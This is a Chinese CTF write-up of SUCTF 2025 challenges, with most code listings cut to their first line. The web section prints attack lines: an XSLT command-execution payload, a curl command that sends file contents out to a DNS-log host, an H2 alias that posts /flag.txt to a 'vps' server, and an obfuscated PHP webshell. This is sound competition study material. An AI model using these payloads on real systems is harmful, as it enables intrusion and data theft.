2025 SUCTF 部分题解
我想我大概,一辈子也忘不了 S1uM4i 吧。
1. Reverse
1.1 mapmap2
主函数:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
输入长度为 0x10C 对字符有要求 遍历一下可见字符得到可以输入 wasd
动调发现 wasd 分别对 pos
有影响
如果当前要走的方向是可以走的就会修改 pos
指向的地址
否则会回到原点start_
没有撞墙不动的分支
所以考虑直接爆破
为了方便爆破让每种不同的分支有不同的输出
patch 掉长度判定和到达边界以及执行完后比较 pos
和target
的部分成下面这样
原来的长度判定 nop 掉增加可用的用户代码段 再在此处插入判断是否回到原点
如果是直接输出 wrong
退出:
原先判定边界的地方改成判定是否回到原点:
因为要爆破所以长度肯定不够到达target
但是成功执行到判定 pos
是否到达 target
说明这条路是可以走的
输出rong
patch 之后的逻辑:
至此可以使用下面的脚本爆破出到达终点的路径:
1 | import subprocess, hashlib, time |
1.2 SU_BBRE
硬看汇编就好
main 函数输入 19 位 input,先进 function2,用 rc4 加密比较前 16 位,然后通过 funtion0 栈溢出跳到 function1,地址为 0x40223d,得到长为 9 的第二个 input,合并起来就是最终输入
1 | SUCTF{We1com3ToReWorld="@AndPWNT00} |
1.3 SU_ezlua
改版 lua 虚拟机,改了 string 和 code,需要解密
string:
1 | if (n32[0] ) |
code:
1 | *v23 = (int)__ROL4__(_byteswap_ulong(v24 ^ 0x32547698), 15); |
单独的 loadint,类型枚举为 63:
1 | *(double *)v23 = (double)(int)__ROL4__(_byteswap_ulong(v24 ^ 0x32547698), 15); |
str_byte 魔改了(异或偏移然后 +35):
1 | do |
修改 luadec,根据反汇编结果得到加密过程:
1 | def getbyte(R0, R1): |
直接逆运算:
1 | def getbyte(R0, R1): |
1.4 SU_APP
apk 实现了一个动态链接器,把 assets 目录下的 main 二进制文件加载到内存然后执行。main 最开始的 x86 部分是没用的,纯粹是幌子,在代码中将 main 加载后在 0x91f0 的 file offset 中加载真正执行的文件。
不过 main 中该偏移对应的 header 是错的,program header 也是不对的。header 和 program header 都在下方的函数中动态解密出来,直接动态取出然后 patch 回去即可
得到恢复 header 的 main 二进制文件后对算法进行分析
首先是 init array 函数的 sbox 初始化
84B0 函数是换了常数的 md5,直接将代码贴 vs 里面跑一遍然后取出输出就可以了
1 | unsigned char fuck_long[64]; |
跑出来的结果,得到 sbox
1 | 65ef5189,b7bf8ee7,8a64ca73,5b3f7d22, |
看 check 函数,输入长度 32,用 sbox 生成虚拟机的 idx,参数,然后用 idx 去找执行的函数,然后传入参数。用的是 libffi 库,最后执行的是 ffi_call 函数,简单理解成虚拟机入口就行了。不同的 v4 对应的是不同的参数数目。注意一下就行了
dump 出反编译后的伪 c 代码,批量改写成 python 的函数形式,然后 z3 解一下即可
1 | import inspect |
得到 flag
1 | [83, 85, 67, 84, 70, 123, v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, 125] |
1.5 SU_Harmony
主要 check 逻辑在 libentry.so 中,忽略垃圾代码,手动提取出关键部分:
1 | check_3750(){ |
- sub_CC10:工具函数,逆转数字字符串;
- sub_62F0:itoa,uint 转字符串;
- sub_6D20:字符串 * 字符串;
- sub_8270:字符串 * 数字;
- sub_9890:字符串 + 字符串;
- sub_A8F0:字符串 - 字符串;
- sub_C160:字符串的值 整除2。
sub_57B0 的 check 整理一下就是:
最后解 8 个方程,方程为
用 z3 解:
1 | from z3 import * |
1.6 SU_vm_master
跳表虚拟机,共 349 个 term,从第 0x14F 个 term 开始,默认每次向后执行 1 条,被赋值 0xDEADBEEF 时停止
1 | Term: |
term 的地址是 0x5559C82C5040,
有 1 块 0x4000 大小指针数据 HT:0x5559C82C5B28,32 字节 flag 在 +0x800,
有 1 块 34*8 大小的存储空间 S0: 0x5559C82C5B40,
S0[30]: 0xDEADBEEF,大概是返回地址寄存器
S0[31]: 0x3FF8
S0[32]: PC
S0[33]: 0x10,大概是状态寄存器
经过 term 的运算,+0x800 的 flag 被加密,最后比较结果
根据 info_rel 的地址,可分为 14 种操作,v1 ~ v4 是 term 的参数
1 | 0x9988: v1 == 0: S0[v3] -> S0[v2], else v3 -> S0[v2] |
把虚拟机写成 python:
1 | from vm_data import * |
分析输出记录得到加密过程:
1 | inp = "b2ed053c767f41709dc1605c8c346c69" |
直接逆运算:
1 | res = [0xF0, 0xA8, 0xBC, 0x50, 0xD9, 0x3A, 0xF7, 0xCE, 0x49, 0x28, 0xEA, 0x77, 0x33, 0xB4, 0x17, 0xB0, 0x8E, 0xB9, 0xA5, 0xAD, 0xD2, 0x72, 0xDE, 0x2F, 0x46, 0x72, 0xF2, 0x4C, 0x6D, 0x41, 0x34, 0x38] |
1.7 SU_minesweeper
代码很短小,输入 100 个十六进制字符,转为 50 字节(400 位),作为 20*20 的棋盘位图,1 为有雷的格子。然后被硬编码的约束目标验证。
静态和调试结合可以发现:
- 有数字的格子也可以放雷(即不是周围 8 个格子,而是包含自身的 9 个格子);
- 十六进制解析是换表的,用 a-f0-9 分别表示 0~15;
- 在从输入中取一个比特时(举例取第 3 行第 3 个即下标 20*2+2=42 的比特,会先取下标为 42/8=5 的字节,然后右移 42%8=2 位,取最低位),所以输入的每个字节,高位到低位是从右到左排的。
z3 找出满足条件的一组解,然后按以上规则转换为输入:
1 | import z3 |
2. Web
2.1 SU_PWN
xslt 解析漏洞 CVE-2022-34169
有公开 POC:https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f
因为过滤了 Runtime,修改一下绕过 waf
1 | <xsl:value-of select="runtime:exec(runtime:getRuntime(),'bash -c id')" xmlns:runtime="java.lang.Runtime"/> |
不出网但是有 DNS 请求,用 Dnslog 外带执行结果即可,先读根目录文件名,然后读文件外带。
1 | curl `cat wqjugajFwlasfafg213asmkagjasanduer2asdsaf|base64|cut -c 1-60`.dnslog.xxx |
2.2 SU_photogallery
1 | GET /unzip.php HTTP/1.1 |
先读源码
1 | <?php echo("fuck");$ch = explode(".","sys.tem");$c = $ch[0].$ch[1];$c($_GET[1]); |
Zipslip 可以绕过。。。
1 | <?php |
将 jpg 作为 php 解析
1 | GET /upload/suimages/a.jpg?1=cat%20/seef1ag_getfl4g HTTP/1.1 |
2.3 SU_POP
https://blog.csdn.net/why811/article/details/133812903
https://cn-sec.com/archives/710471.html
一开始从 __destruct 到 __call 在这个版本没有链子,要另外找
从 __destruct -> __toString -> __call
Exp
1 |
|
2.4 SU_ez_solon
1 | CREATE ALIAS EXECf AS 'String shellexec(String cmd) throws java.io.IOException {String str = "";java.io.File file = new java.io.File("/flag.txt");try (java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(file))) {String line;while ((line = reader.readLine()) != null) { str += line;}} catch (java.io.IOException e) {e.printStackTrace();} java.net.URL url = new java.net.URL("http://vps:1234/test?str="+str);java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();connection.setRequestMethod("GET");connection.setRequestProperty("User-Agent", "Java HTTP Client");int responseCode = connection.getResponseCode(); return "";}'; |
2.5 SU_blog
签名成 admin 任意文件读取
http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././etc/passwd
http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././proc/self/cwd/app/app.py
1 | import time |
而后就是 python 原型污染 RCE,要绕 waf
1 | { |
然后访问一个没有渲染过模板的页面,因为 2 分钟重启一次,不行就等等
反弹 shell,/readflag
1 | SUCTF{fl4sk_1s_5imp1e_bu7_pyd45h_1s_n0t_s0_I_l0v3} |
2.6 SU_easyk8s_on_aliyun(REALLY VERY EASY)
1 | import socket; |
3. Misc
3.1 SU_checkin
1 | filename="../../../../../../../../../proc/self/cmdline" |
用户 hacker 的密码是 hacker,没什么用;
PBEWithMD5AndDES,密码长度为 23 位
https://blog.csdn.net/weixin_44065695/article/details/106026011
这里猜了一下 SUCTF,所以只用爆后三位:
1 | from Crypto.Util.number import * |
值得一提的是,按照 RFC2898 Section 5.1( https://datatracker.ietf.org/doc/html/rfc2898#section-5.1 )的定义,PBE 的密钥派生时,salt 和 MD5 的迭代轮数是作为算法输入出现的,而不是硬编码在算法中的。尽管容易搜索到 salt 为密文前 8 字节、迭代轮数为 1000 的一种实现,但题目中应当明确给出这一点,特别是作为一个需要爆破的题目,而不应让做题人擅自假设——否则就和那些 “需要搜到和出题人用的同一个脚本” 的题目没什么区别了。
3.2 SU_forensics
取证(×)大号压缩包(✓)
起手 strings 得到
1 | echo "My secret has disappeared from this space and time, and you will never be able to find it." |
Wayback Machine 有存档
https://web.archive.org/web/20241225122922/https://www.cnblogs.com/cuisha12138/p/18631364
在 GitHub 上删除分支不会清除提交,可以找到
https://github.com/testtttsu/homework/activity?ref=secret
https://github.com/testtttsu/homework/blob/a4be9c81ae540340f3e208dc9b1ee109ea50305c/lost_flag.txt
用盲水印检测工具或 stegsolve 可以看到密码(涂黑了但没完全涂黑)
解压 lost_flag.txt 得到
用 opencv 相似度识别,发现有 27 种符号,先按出现顺序依次替换为 `a-z 以便进一步分析
1 | from PIL import Image |
1 | a bcdef ghijkl mnop qhrdst uavw xdy |
出现次数最多的比其他多得多,是空格,且证实是单表替换。用 quipqiup 跑出来:
1 | a quick zephyr blow vexing daft jim. fred specialized in the job of making very qabalistic wax toys. six frenzied kings vowed to abolish my quite pitiful jousts. may jo equal my foolish record by solving six puzzles a week. harry is jogging quickly which axed zen monks with abundant vapor. dumpy kibitzer jingles as quixotic overflows. nymph sing for quick jigs vex bud in zestful twilight. simple fox held quartz duck just by wing. strong brick quiz whangs jumpy fox vividly. ghosts in memory picks up quartz and valuable onyx jewels. pensive wizards make toxic brew for the evil qatari king and wry jack. all outdated query asked by five watch experts amazed the judge. |
每一行都是一个全字母句 少一个字母,把这些字母拼起来就是 flag
1 | cipher = '''a quick zephyr blow vexing daft jim |
SUCTFHAVEFUN
3.3 Onchain Magician
由于这一题是直接对 Message Hash 进行签名,所以我们需要进行一个外部的本地签名,我这里使用的是 Web3py,exp 如下:
1 | from web3 import Web3 |
最后将 Original Signature 作为 signIn 函数的参数传入,而 Manipulated Signature 作为 openBox 函数的参数传入即可
由于本人使用的 web3 版本可能有点低,部分参数名 / 函数名需要调整
3.4 Onchain Checkin
在 lib.rs 内
1 | use anchor_lang::prelude::*; |
这里的 declare_id 就是题目合约的地址
在 Anchor.toml 内可以得到信息如下:
这里的 cluster = devnet 说明使用的是 devnet,利用 Solscan 的区块链浏览器可以进行查看。在 Solscan 上搜索 SUCTF2Q25DnchainCheckin11111111111111111111 并且限定为 devnet 可以得到:
此时再看源码,在 checkin.rs 内
1 | impl<'info> Checkin<'info> { |
说明 flag3 其实是 account3.key,而 Solana 链上的公钥就是地址,换一句话说 account3 的地址就是 flag3。由上图得知有两个 Signature,点进第一个,去查看 account3 的地址:
1 | #3 - Account: |
将上面的地址放入 cyberchef 后能够自动用 base58 decode 解出 flag3:
同时,在 checkin.rs 内还有一个 msg!("flag1");
,这个提示我们 flag1 在返回的消息当中,此时查看返回的消息(日志) 即可得到 flag1:
下面一段经过 base58 解码后即可得到 flag1:
1 | SUCTF{Con9ra7s! |
最后还有 flag2,flag2 其实在 lib.rs 中有提及到,在 lib.rs 中函数名被改为了 flag2,说明函数名就是 flag2。在 Solana 上,函数一般都被叫做 Instructions,所以去查看 Instructions 即可。其实就是上面的 Program log Instruction:
1 | YouHaveFound |
最后组合即可得到 flag:
1 | SUCTF{Con9ra7s!YouHaveFound_7HE_KEeee3ey_P4rt_0f_Th3_F1ag.} |
3.5 SU_HappyAST
首先先贴一下反混淆的结果(大概就是合并 string literals,把
xxxx['WTFky'](xxxx)
这种东西还原,常量计算等)。
然后就可以去盯它的加密逻辑了。然后不难发现,它是从 aes-js
搬的实现。继续对照发现,和标准 AES 不同的地方就是魔改了一下 rcon
这个表。把 rcon 这个表(即 _0x1c8e39
)贴回去
aesjs,发现就能正常出结果了。然后把另一个密文解密出来,是
_H4PpY_AsT_TTTTTTBing_BinG_Bing}
。
然后呢,然后就要开始脑洞了
毫无引导的脑洞真是傻狗拍脑袋的想法😅😅😅
然后脑洞了 18 小时之后(妈的,上面的部分连 4
小时都不用),想起来原脚本中有一堆 BingUBing
的字符串,把它们都使用 Bing(.)Bing
提取出来之后,发现不同的有这么几个:
1 | BingFBing |
除去 SUCTF{
之外还剩下 i
和 H
两个,所以合理猜测是 SUCTF{Hi
。
所以最终 flag 就是
SUCTF{Hi_H4PpY_AsT_TTTTTTBing_BinG_Bing}
。
3.6 SU_AI_segment_ceil
训练代码:https://www.kaggle.com/code/zmmmmmmmmmj/su-ai-segment-ceil-code/edit
Pull 数据:
1 | from pwn import * |
聚类
1 | import os |
赢:
3.7 SU_AI_how_to_encrypt_plus
self.conv
没什么好性质,直接丢 z3
嗯算发现能解出来。然后怀疑有多解,因为用前面的结果解后面的
self.linear
的时候会 unsat,所以干脆把
self.conv
和 self.linear
一起扔到 z3
暴算。
算完之后还有一个 self.conv1
,这个的 weight
性质不错。然后就用二进制分解解出最开始的输入。然后再手动把 binaries 转回
bytes 就行。
1 | import numpy |
3.8 SU_VOIP
打开流量包,找到一些 RTP 流量,然后有一段是可以听的,听到关键部分为
If it's an important file, it usually adds eight eights at the end(md,这个 eight eights 糊得一批是人听的吗)
Don't forget the boss employee number is 1003(boss 的 employee number 是 1003)
找明文 SIP 流量,发现若干 401 后带着 authorization header 200 的,其中有 username 是 1003 的,猜测是要的密码产生的,于是对该 header 用 rockyou 字典直接一个个试。
爆破出来密码是 verde351971
。
然后流量包里 RTP 通讯的部分有一个 7z
加密压缩包的传输,然后密码就是上面那个密码加 8 个 8。解压出来之后拿到
decrypt.key
。
把 key 导入 Wireshark,就能解密 TLS 消息了,于是就能看到 SDP/TLS
握手的消息了。从 SDP/TLS 可以拿到 inline 的 SRTP 的加密密钥(Key
Parameters),然后就可以用 rtp_decoder
解密出新的一段通话。这段通话的重点部分是
Sorry, I'm recording a password.
和
Now I like to combine my recorded password with common one, and then hash them to use as password for my confidential file, making it more secure.
其中 recording a password
后面有一段长空白,在这段空白的时间段可以在解密的流量里发现 RTP Event
DTMF(应该是键盘),按的数字是 58912598719870574
。
然后继续猜谜 combine 是怎么 combine 的,前面加还是后面加,common one
指哪个,包不包括八个八,hash 算法用哪个。然后这时候发了提示说 hash 是
sha256sum,然后就去试 sha256sum。然后试了半天发现是
58912598719870574verde351971
。
然后拿去解压流量包里 HTTP 传输的 flag.7z,就能拿到 flag 了。
3.9 SU_RealCheckin
🐍 -> snake -> s
☂️ -> umbrella -> u
以此类推
🐍☂️🐈🌮🍟{🐋🦅🍋🐈🍊🏔️🦅_🌮🍊_🐍☂️🐈🌮🍟_🧶🍊☂️_🐈🍎🌃_🌈🦅🍎🍋🍋🧶_🐬🍎🌃🐈🦅}
-> suctf{welcome_to_suctf_you_can_really_dance}
4. Crypto
4.1 SU_signin
曲线是 BLS12-381
flag 二进制经过 zfill 填充,cs[0]对应的应该是 i=0,找到 cs[0]和 cs[i]的关系
根据 BLS12-381 的运算规则
假设
因为阶为 o,判断 weil_pairing 后的 n2 次方结果是否为 1 即可
如果等于 1,i=0;不等于 1,i=1
1 | from Crypto.Util.number import * |
4.2 SU_Poly
1 | import os |
4.3 SU_hash
不妨称「一组输入」为 [i] + [0] * 128
。
不难发现,「一组输入」之间是独立的。然后预处理 i
0~127
的每组输入,发现它们的 hash 刚好是线性无关的,所以目标 hash
就可以被线性表出了。
对于 n0
,只需要一开始扔一个 [0] * 128
把
self.n
清零即可。
1 | from Crypto.Util.number import bytes_to_long |
4.4 SU_Auth
可以通过时间攻击恢复出 SUKEY,不存在 SUKEY 的时候返回结果的时间很慢,存在的时候就很快,从而逐个位置用时间攻击恢复 SUKEY
然后现在就需要找到另一个等价的 SUKEY,所以现在只需要假设 SUKEY 已知,然后找一个等价的映射就 ok
参考:https://eprint.iacr.org/2019/1209.pdf
把 SUKEY 全部加 3 就能得到一个等价的私钥了
1 | from pwn import remote |
4.5 SU_mathgame
1 | from random import randint |
sage 环境问题手动提交最后一部分,测试中发现是概率相等的多试几次
1 | from Crypto.Util.number import * |
4.6 SU_rsa
已知 e,d_m,N 分解 N
参考资料:
https://eprint.iacr.org/2024/1329.pdf
https://github.com/fffmath/MSBsOfPrivateKeyAttack
给的数据里有个很接近题目的,e 差了一位
但是论文中给出的代码跑超级慢,然后就手写了一个,核心是先恢复 k, 再恢复 p mod e,然后枚举 +small_root 完事
1 | import itertools |
5. Pwn
5.1 jit16
生成跳转指令时长度没有正确修复,可以跳转到一条指令的中间
1 | from pwn import * |
5.2 SU_BABY
在 add_file 里,对 src 的缓存区大小过小,导致可以通过 strncpy 导致栈溢出
通过 strlen 来增加对 src 的偏移,因为栈上有残留指针,导致我们最大可以增加 0xf 的大小(本身它输入是 9 个字节),然后通过这个就可以构造一下,绕过 canary 修改返回地址
再通过 add_sign 函数,添加 sign,往栈里添加 shellcode,我们通过 jmp_rsp,再通过 jmp $+xxx,来实现 shellcode 跳转,ORW 即可
1 | from pwn import* |
5.3 SU_text
先利用偏移任意 i32 大小可以寻找到 libc 地址,之后直接泄露 libc、heap、stack 地址
之后利用 2 idx 17 的 ++ 指针,与 2 idx 16 的偏移写绕过 check,达成偏移写入大 largebin attack,最后直接打 house of water 前半段,修改 mp_.tcache_bins,之后就是简易的 tcache fd 劫持分配到栈上打 ROP 写 ORW 即可
1 | from pwn import * |
5.4 SU_msg_cfgd
保存在 MsgHandler 中的迭代器会因为对容器的操作而失效从而产生 use after free
1 | from pwn import * |
5.5 SU_PAS_sport
漏洞在于,创造 ocean 时,先往 size 写入数据,然后再进行判断;如果我们先创造一个合法大小的 ocean,再创建一个非法 ocean 时,就可以修改 size
思路,我们可以通过这个来实现修改 text 或者 byte 打开的文件堆块的 fd 值,因为 text 是需要得到在 "0"-"255" 的字符串值进行转化成 byte,所以我们这里就必须通过 byte 直接读取 /dev/urandom 的随机值对 text 的 fd 进行修改,修改成标准输入 0,之后我们就可以通过 text 进行在 ocean 里任意往下写字符
但是我研究之后发现 text 打开的文件堆块是由对应的缓冲区的,所以我们只需要把缓冲区修改成 exception 的控制函数地址,对其里面的指针进行修改,就可以劫持执行流
最后思路是通过 byte 修改 text 的 fd,在通过释放 byte 和重新申请 ocean,使得 ocean 在 byte 的上方,然后就可以把 byte 的 fd 进行修改,修改完之后,再次回到之前在 text 的上方位置,通过调用 byte 进行写入,把 text 的缓存区修改为 exception 的指针,最后进行 ROP 的利用即可
1 | from pwn import* |
2025 SUCTF 部分题解